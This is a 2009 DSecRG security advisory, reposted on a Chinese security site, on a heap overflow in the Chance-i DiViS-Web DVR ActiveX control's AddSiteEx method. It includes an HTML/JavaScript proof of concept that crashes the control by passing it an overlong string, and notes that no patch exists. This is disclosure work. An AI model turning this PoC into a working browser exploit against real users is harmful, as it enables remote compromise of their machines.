首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Chance-i DiViS-Web DVR System ActiveX Control Heap Overflow PoC
来源:http://www.dsecrg.com 作者:research 发布时间:2009-04-13  
Digital Security Research Group [DSecRG] Advisory       #DSECRG-09-035

original advisory:   http://dsecrg.com/pages/vul/DSECRG-09-035.html


Application:                Chance-i DiViS-Web DVR System ActiveX control
Versions Affected:          3,0,0,7
Vendor URL:                 http://www.chance-i.com/
Bug:                        Heap Overflow
Exploits:                   YES
Reported:                   13.03.2009
Second Reported:            20.03.2009
Solution:                   NONE
Date of Public Advisory:    09.04.2009
Author:                     Digital Security Research Group [DSecRG] (research [at] dsecrg [dot] com)



Description
***********

DiViS-Web ActiveX (ActiveView.cab) has Heap Overflow vulnerability.



Details
*******

Heap overflow vulnerability found in AddSiteEx() function.

There is an exploitable heap overflow vulnerability in DVR's ActiveX
control (ActiveView.cab).

If an DVR user were to visit a malicious web page, the overflow could be triggered allowing for a "remote" compromise of the user's machine. Alternatively, an attacker could send their target a specially crafted e-mail, loaded with an exploit to take advantage of this vulnerability.

The problem arises by passing an overly long string to the AddSiteEx
method of the control.

PoC:

    <OBJECT ID="DVR" classid="clsid:66F7F252-3FE1-4650-B1E5-94B2A38271C5" STYLE="width: 0px;">
    <PARAM NAME="_Version" VALUE="65536">
    <PARAM NAME="_ExtentX" VALUE="18203">
    <PARAM NAME="_ExtentY" VALUE="13705">
    <PARAM NAME="_StockProps" VALUE="0">
    <PARAM NAME="Split" VALUE="4">
    </OBJECT>

    //server address
    var g_sAddress = location.hostname;
    var g_sId = "";
    var g_sPwd = "";
    var g_bLogin = false;
    var g_nMaxCamera = 16;

    // Port setting
    var g_nImage = 3000;
    var g_nControl = 3001;
    var g_nSound = 8800;

    var long_buff = "alexsint";

    while(long_buff.length<(550*8)) long_buff = long_buff + "alexsint"; //rewrite registers

    DVR.Channels = 1;

    DVR.AddSiteEx("", "", long_buff, "", 0, g_nImage, g_nControl, g_nSound); //Crash on Free() at ntdll



Solution
********

We did not get any response from vendor for more than 2 weeks.

No patches aviable.



About
*****

Digital Security is leading IT security company in Russia, providing information security consulting, audit and penetration testing services, risk analysis and ISMS-related services and certification for ISO/IEC 27001:2005 and PCI DSS standards.
Digital Security Research Group focuses on web application and database security problems with vulnerability reports, advisories and whitepapers posted regularly on our website.


Contact:    research [at] dsecrg [dot] com
            http://www.dsecrg.com
            http://www.dsec.ru

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Xilisoft Video Converter Wizar
·w3bcms Gaestebuch 3.0.0 Blind
·The IBM BladeCenter Advanced M
·PHP 5.2.9 curl safe_mode and o
·SWF Opener 1.3 (.swf File) Off
·Exjune Guestbook v2 Remote Dat
·ftpdmin 0.96 RNFR Remote Buffe
·Geeklog <= 1.5.2 SEC_authentic
·Flatnuke <= 2.7.1 (level) Remo
·FreeBSD i386/AMD64 Execve /bin
·net2ftp versions 0.97 and belo
·HTML Email Creator <= 2.1b668
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved